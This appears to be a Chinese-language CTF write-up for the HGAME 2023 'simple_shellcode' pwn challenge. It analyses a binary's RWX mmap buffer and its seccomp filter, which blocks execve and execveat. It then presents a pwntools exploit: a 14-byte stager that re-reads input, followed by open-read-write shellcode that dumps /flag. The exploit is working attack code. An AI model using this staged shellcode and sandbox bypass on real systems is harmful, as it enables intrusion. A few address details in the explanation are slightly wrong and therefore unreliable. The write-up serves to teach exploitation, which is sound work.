動態

詳情 返回 返回

NSSCTF-Pwn-[HGAME 2023 week1]simple_shellcode - 動態 詳情

一、題目來源

NSSCTF-Pwn-[HGAME 2023 week1]simple_shellcode

image

二、信息蒐集

image-1

發現是一個 64 位的 ELF 文件,並且保護措施基本上開全了。

三、反彙編文件開始分析

程序首先用 mmap 在虛擬內存上開闢了一片空間,該空間的訪問控制權限為“可讀-可寫-可執行”(因為 prot 參數的值為 7):

.text:0000000000001336                                   buf= qword ptr -8
…………
.text:0000000000001355 018 41 B9 00 00 00 00             mov     r9d, 0                          ; offset
.text:000000000000135B 018 41 B8 FF FF FF FF             mov     r8d, 0FFFFFFFFh                 ; fd
.text:0000000000001361 018 B9 21 00 00 00                mov     ecx, 21h ; '!'                  ; flags
.text:0000000000001366 018 BA 07 00 00 00                mov     edx, 7                          ; prot
.text:000000000000136B 018 BE 00 10 00 00                mov     esi, 1000h                      ; len
.text:0000000000001370 018 BF 00 00 FE CA                mov     edi, 0CAFE0000h                 ; addr
.text:0000000000001375 018 B8 00 00 00 00                mov     eax, 0
.text:000000000000137A 018 E8 41 FD FF FF                call    _mmap

接着,程序調用 read 函數:

.text:000000000000138B 018 48 8B 45 F8                   mov     rax, [rbp+buf]
.text:000000000000138F 018 BA 10 00 00 00                mov     edx, 10h                        ; nbytes
.text:0000000000001394 018 48 89 C6                      mov     rsi, rax                        ; buf
.text:0000000000001397 018 BF 00 00 00 00                mov     edi, 0                          ; fd
.text:000000000000139C 018 B8 00 00 00 00                mov     eax, 0
.text:00000000000013A1 018 E8 2A FD FF FF                call    _read

需要注意的是:這裏的 read 的第二個參數和以往我們看到的不太一樣,這裏使用的是 mov 指令而不是 lea指令。

這也就意味着,我們真正寫入 rsi 的是地址 0xcafe00000 也就是我們之前開闢的那片虛擬內存的首址。

因此,這個和棧溢出可以説的八竿子打不着了,我們接着分析。

然後,我們就可以看到本程序所使用的沙箱:

.text:00000000000013A6 018 B8 00 00 00 00                mov     eax, 0
.text:00000000000013AB 018 E8 9E FE FF FF                call    sandbox

.text:000000000000124E                                   public sandbox
.text:000000000000124E                                   sandbox proc near                       ; CODE XREF: main+75↓p
.text:000000000000124E
.text:000000000000124E                                   var_40= qword ptr -40h
.text:000000000000124E                                   var_38= qword ptr -38h
.text:000000000000124E                                   var_30= word ptr -30h
.text:000000000000124E                                   var_2E= byte ptr -2Eh
.text:000000000000124E                                   var_2D= byte ptr -2Dh
.text:000000000000124E                                   var_2C= dword ptr -2Ch
.text:000000000000124E                                   var_28= word ptr -28h
.text:000000000000124E                                   var_26= byte ptr -26h
.text:000000000000124E                                   var_25= byte ptr -25h
.text:000000000000124E                                   var_24= dword ptr -24h
.text:000000000000124E                                   var_20= word ptr -20h
.text:000000000000124E                                   var_1E= byte ptr -1Eh
.text:000000000000124E                                   var_1D= byte ptr -1Dh
.text:000000000000124E                                   var_1C= dword ptr -1Ch
.text:000000000000124E                                   var_18= word ptr -18h
.text:000000000000124E                                   var_16= byte ptr -16h
.text:000000000000124E                                   var_15= byte ptr -15h
.text:000000000000124E                                   var_14= dword ptr -14h
.text:000000000000124E                                   var_10= word ptr -10h
.text:000000000000124E                                   var_E= byte ptr -0Eh
.text:000000000000124E                                   var_D= byte ptr -0Dh
.text:000000000000124E                                   var_C= dword ptr -0Ch
.text:000000000000124E                                   var_8= qword ptr -8
.text:000000000000124E
.text:000000000000124E                                   ; __unwind {
.text:000000000000124E 000 F3 0F 1E FA                   endbr64
.text:0000000000001252 000 55                            push    rbp
.text:0000000000001253 008 48 89 E5                      mov     rbp, rsp
.text:0000000000001256 008 48 83 EC 40                   sub     rsp, 40h
.text:000000000000125A 048 64 48 8B 04 25 28 00 00 00    mov     rax, fs:28h
.text:0000000000001263 048 48 89 45 F8                   mov     [rbp+var_8], rax
.text:0000000000001267 048 31 C0                         xor     eax, eax
.text:0000000000001269 048 66 C7 45 D0 20 00             mov     [rbp+var_30], 20h ; ' '
.text:000000000000126F 048 C6 45 D2 00                   mov     [rbp+var_2E], 0
.text:0000000000001273 048 C6 45 D3 00                   mov     [rbp+var_2D], 0
.text:0000000000001277 048 C7 45 D4 00 00 00 00          mov     [rbp+var_2C], 0
.text:000000000000127E 048 66 C7 45 D8 15 00             mov     [rbp+var_28], 15h
.text:0000000000001284 048 C6 45 DA 02                   mov     [rbp+var_26], 2
.text:0000000000001288 048 C6 45 DB 00                   mov     [rbp+var_25], 0
.text:000000000000128C 048 C7 45 DC 3B 00 00 00          mov     [rbp+var_24], 3Bh ; ';'
.text:0000000000001293 048 66 C7 45 E0 15 00             mov     [rbp+var_20], 15h
.text:0000000000001299 048 C6 45 E2 01                   mov     [rbp+var_1E], 1
.text:000000000000129D 048 C6 45 E3 00                   mov     [rbp+var_1D], 0
.text:00000000000012A1 048 C7 45 E4 42 01 00 00          mov     [rbp+var_1C], 142h
.text:00000000000012A8 048 66 C7 45 E8 06 00             mov     [rbp+var_18], 6
.text:00000000000012AE 048 C6 45 EA 00                   mov     [rbp+var_16], 0
.text:00000000000012B2 048 C6 45 EB 00                   mov     [rbp+var_15], 0
.text:00000000000012B6 048 C7 45 EC 00 00 FF 7F          mov     [rbp+var_14], 7FFF0000h
.text:00000000000012BD 048 66 C7 45 F0 06 00             mov     [rbp+var_10], 6
.text:00000000000012C3 048 C6 45 F2 00                   mov     [rbp+var_E], 0
.text:00000000000012C7 048 C6 45 F3 00                   mov     [rbp+var_D], 0
.text:00000000000012CB 048 C7 45 F4 00 00 00 00          mov     [rbp+var_C], 0
.text:00000000000012D2 048 66 C7 45 C0 05 00             mov     word ptr [rbp+var_40], 5
.text:00000000000012D8 048 48 8D 45 D0                   lea     rax, [rbp+var_30]
.text:00000000000012DC 048 48 89 45 C8                   mov     [rbp+var_38], rax
.text:00000000000012E0 048 41 B8 00 00 00 00             mov     r8d, 0
.text:00000000000012E6 048 B9 00 00 00 00                mov     ecx, 0
.text:00000000000012EB 048 BA 00 00 00 00                mov     edx, 0
.text:00000000000012F0 048 BE 01 00 00 00                mov     esi, 1
.text:00000000000012F5 048 BF 26 00 00 00                mov     edi, 26h ; '&'                  ; option
.text:00000000000012FA 048 B8 00 00 00 00                mov     eax, 0
.text:00000000000012FF 048 E8 DC FD FF FF                call    _prctl
.text:00000000000012FF
.text:0000000000001304 048 48 8D 45 C0                   lea     rax, [rbp+var_40]
.text:0000000000001308 048 48 89 C2                      mov     rdx, rax
.text:000000000000130B 048 BE 02 00 00 00                mov     esi, 2
.text:0000000000001310 048 BF 16 00 00 00                mov     edi, 16h                        ; option
.text:0000000000001315 048 B8 00 00 00 00                mov     eax, 0
.text:000000000000131A 048 E8 C1 FD FF FF                call    _prctl
.text:000000000000131A
.text:000000000000131F 048 90                            nop
.text:0000000000001320 048 48 8B 45 F8                   mov     rax, [rbp+var_8]
.text:0000000000001324 048 64 48 33 04 25 28 00 00 00    xor     rax, fs:28h
.text:000000000000132D 048 74 05                         jz      short locret_1334
.text:000000000000132D
.text:000000000000132F 048 E8 7C FD FF FF                call    ___stack_chk_fail
.text:000000000000132F
.text:0000000000001334                                   ; ---------------------------------------------------------------------------
.text:0000000000001334
.text:0000000000001334                                   locret_1334:                            ; CODE XREF: sandbox+DF↑j
.text:0000000000001334 048 C9                            leave
.text:0000000000001335 000 C3                            retn
.text:0000000000001335                                   ; } // starts at 124E
.text:0000000000001335
.text:0000000000001335                                   sandbox endp

為了理解 sandbox,需要理解一下函數 prctl

函數原型:

#include <sys/prctl.h>
#include <linux/prctl.h>

int prctl(int option, unsigned long arg2, unsigned long arg3,
          unsigned long arg4, unsigned long arg5);

和其他函數有所區別的是,該函數所需要的參數即 arg2..arg5 是取決於第一個參數即 option 的,而 option 的可選項是很多的,下面我貼出的是本題所用到的兩個 option

option = 0x26 = PR_SET_NO_NEW_PRIVS

  • 含義:開啓 no_new_privs 標誌後,該進程及其子孫再也不能通過 execve 獲得更高權限(例如 setuid 程序不再提權、文件能力不再生效)。
  • 用途:裝載 seccomp 過濾器時的常見前置條件(避免“先降低再抬高”的逃逸)。
  • 範圍:繼承到子進程(fork/exec)。

option = 0x16 = PR_SET_SECCOMP

  • 含義:為當前進程啓用 seccomp-BPF 過濾;arg3 指向 struct sock_fprog,裏面是一組 classic BPF 指令(你題裏的 5 條),用來判定每個系統調用是允許/拒絕/殺進程/返回特定 errno 等。
  • 典型動作碼RETk 值):
    • SECCOMP_RET_ALLOW(放行)
    • SECCOMP_RET_KILL_PROCESS(直接殺掉當前進程)
    • SECCOMP_RET_TRAP(向用户態發 SIGSYS
    • SECCOMP_RET_ERRNO | (errno & 0xFFFF)(讓該系統調用以指定 errno 失敗)
    • SECCOMP_RET_TRACESECCOMP_RET_USER_NOTIF(配合 ptrace / 用户態通知框架)
  • 要求:通常在設置前需要 no_new_privs=1(或有 CAP_SYS_ADMIN 且系統允許的策略),否則 EINVAL/EPERM。$\Leftarrow$這是為什麼本題會採用兩個 prctl 的原因

其中提到的 classic BPF(cBPF) 指令指的是最早一代的 32-位“小虛擬機”指令集,它只有兩個寄存器 A(累加器)和 X(索引),再加 16 個 scratch 內存槽 M[0..15]。Linux 的 seccomp-BPF 複用了這套 cBPF 指令來寫“系統調用過濾器”(鑑別每次 syscall 是允許、拒絕、殺進程、返回 errno 等)。

cBPF 的每一條指令是一個 sock_filter,包含 4 個字段:

struct sock_filter {
  __u16 code;  // 指令編碼(類/大小/來源/操作)
  __u8  jt;    // 條件為真跳過的指令數 (jump-if-true)
  __u8  jf;    // 條件為假跳過的指令數 (jump-if-false)
  __u32 k;     // 立即數 / 偏移 / 返回值(視指令而定)
};

在題目中對應的部分就是那一大塊 mov 指令:

.text:0000000000001269 048 66 C7 45 D0 20 00             mov     [rbp+var_30], 20h ; ' '
.text:000000000000126F 048 C6 45 D2 00                   mov     [rbp+var_2E], 0
.text:0000000000001273 048 C6 45 D3 00                   mov     [rbp+var_2D], 0
.text:0000000000001277 048 C7 45 D4 00 00 00 00          mov     [rbp+var_2C], 0
.text:000000000000127E 048 66 C7 45 D8 15 00             mov     [rbp+var_28], 15h
.text:0000000000001284 048 C6 45 DA 02                   mov     [rbp+var_26], 2
.text:0000000000001288 048 C6 45 DB 00                   mov     [rbp+var_25], 0
.text:000000000000128C 048 C7 45 DC 3B 00 00 00          mov     [rbp+var_24], 3Bh ; ';'
.text:0000000000001293 048 66 C7 45 E0 15 00             mov     [rbp+var_20], 15h
.text:0000000000001299 048 C6 45 E2 01                   mov     [rbp+var_1E], 1
.text:000000000000129D 048 C6 45 E3 00                   mov     [rbp+var_1D], 0
.text:00000000000012A1 048 C7 45 E4 42 01 00 00          mov     [rbp+var_1C], 142h
.text:00000000000012A8 048 66 C7 45 E8 06 00             mov     [rbp+var_18], 6
.text:00000000000012AE 048 C6 45 EA 00                   mov     [rbp+var_16], 0
.text:00000000000012B2 048 C6 45 EB 00                   mov     [rbp+var_15], 0
.text:00000000000012B6 048 C7 45 EC 00 00 FF 7F          mov     [rbp+var_14], 7FFF0000h
.text:00000000000012BD 048 66 C7 45 F0 06 00             mov     [rbp+var_10], 6
.text:00000000000012C3 048 C6 45 F2 00                   mov     [rbp+var_E], 0
.text:00000000000012C7 048 C6 45 F3 00                   mov     [rbp+var_D], 0
.text:00000000000012CB 048 C7 45 F4 00 00 00 00          mov     [rbp+var_C], 0

解碼後的 5 條 BPF 指令如下(按內存從 var_30var_10 的順序即從低到高的排序):

  1. LD W ABS 0

    { code=0x20, jt=0, jf=0, k=0 }    // BPF_LD | BPF_W | BPF_ABS, 從 seccomp_data 結構偏移0處加載 syscall 編號
    

    將當前系統調用號裝載到累加器 A。

  2. JEQ 59, jt=2, jf=0

    { code=0x15, jt=2, jf=0, k=59 }   // 59 = __NR_execve (x86_64)
    

    如果 syscall == 59 (execve),跳過後面兩條指令(即跳到第5條)。

  3. JEQ 0x142, jt=1, jf=0

    { code=0x15, jt=1, jf=0, k=0x142 } // 0x142 = 322 = __NR_execveat (x86_64)
    

    如果 syscall == 322 (execveat),跳過後一條指令(也跳到第5條)。

  4. RET ALLOW

    { code=0x06, jt=0, jf=0, k=0x7FFF0000 } // SECCOMP_RET_ALLOW
    

    上述兩條件都不滿足(不是 execve/execveat)→ 允許該系統調用。

  5. RET KILL

    { code=0x06, jt=0, jf=0, k=0x00000000 } // SECCOMP_RET_KILL (KILL_PROCESS)
    

    命中第2或第3條跳轉來到這裏 → 直接殺掉進程。

這也就説明了,本題不允許使用的系統調用:

  • execve
  • execveat

當然,這一部分的分析也可以交給 AI 來快速處理:

image-20251103094712059

沙盒之後,就出現一個關鍵點:

.text:00000000000013B0 018 48 8B 55 F8                   mov     rdx, [rbp+buf]
.text:00000000000013B4 018 B8 00 00 00 00                mov     eax, 0
.text:00000000000013B9 018 FF D2                         call    rdx

還記得我們一開始看到的 mmap 開闢的虛擬內存空間嗎,那塊的首地址就存在在 [rbp+buf] 當中,依據:

.text:000000000000134C 018 B8 00 00 FE CA                mov     eax, 0CAFE0000h
.text:0000000000001351 018 48 89 45 F8                   mov     [rbp+buf], rax

那麼,如果我們能向地址 0xcafe0000 寫入 shellcode,然後通過 call 一調用,就可以獲取到 flag 了。

四、思路彙總

首先,我們整理一下有用的信息:

  • 有一塊可讀可寫可執行的虛擬內存,並且能向其中寫入 0x10B 的數據;
  • call 指令;
  • 存在沙盒,不允許使用 execveexecveat

這麼一聯繫,我們就可以知道本題的難點在於:

  1. shellcode 的長度被限制;
  2. 沙盒保護。

因此,我們的思路就是,先寫入較短的 shellcode 實現再次寫入且將寫入的長度限制給放開,然後再寫入較長的 shellcode 來獲取 flag 且該 shellcode 需要符合沙盒要求。

五、Poc 構造

from pwn import *

exe = ELF("./vuln_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")

context.binary = exe
context(arch="amd64",os="linux",log_level="debug")


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("node5.anna.nssctf.cn",25836)

    return r


def main():
    p = conn()

    shellcode = asm('''
    mov rdi, rax;
    mov rsi, rdx;
    add rsi, 0x10;
    syscall;
    call rsi;
    ''')

    p.sendafter(b'Please input your shellcode:',shellcode)
    
    shellcode = asm(shellcraft.open("/flag")+shellcraft.read(3,0xcafe0010,0x50)+shellcraft.write(1,0xcafe0010,0x50))

    p.send(shellcode)
    p.interactive()


if __name__ == "__main__":
    main()

一步步分析,我們對第一次 shellcode 的要求就兩個:

  • 簡短
  • 實現再次寫入

程序已經非常貼心地為我們準備了兩行指令:

.text:00000000000013B0 018 48 8B 55 F8                   mov     rdx, [rbp+buf]
.text:00000000000013B4 018 B8 00 00 00 00                mov     eax, 0

eax 中已經存放了 read 系統調用的系統調用號,rdx 中已經存放了我們要寫入的位置即 0xcafe0000

因此,為了實現再次 read,我們只需要:

    mov rdi, rax;
    mov rsi, rdx;
    add rsi, 0x10;
    syscall;

這裏還將寫入位置進行了“加 0x10”的操作,是為了保護本輪的 shellcode不被後續的 shellcode 破壞。

可是,寫入完成之後,我們就已經用完了 call 指令,那麼後續還需要執行新的 shellcode 怎麼做到呢?

沒錯,就像構造 ROP 一樣,我們再後面跟上一條:

 call rsi;

此時 rsi 中存放的依舊是地址 0xcafe0000,但是其中的內容已經通過第二次 read 修改成新的 shellcode 了。

我們可以檢查一下 shellcode 的長度,我跑出來是 14,剛好滿足小於 16。

後續,我們為了避免被沙盒過濾,採用 ORW 的方式來繞過。

當然,也可以直接使用:

shellcode = asm(shellcraft.cat("/flag"))

來替換,因為 shellcraft.cat("/flag") 生成的 shellcode 使用的是“Open + Sendfile”的組合,也不會被沙盒過濾。

最終本地執行效果:

image-20251103110240978

成功拿到 flag。

user avatar gaodadepijiu 頭像 TheFutureIsNow 頭像 godjian 頭像 johnhan 頭像 WXjzc 頭像
點贊 5 用戶, 點贊了這篇動態!
點贊

Add a new 評論

Some HTML is okay.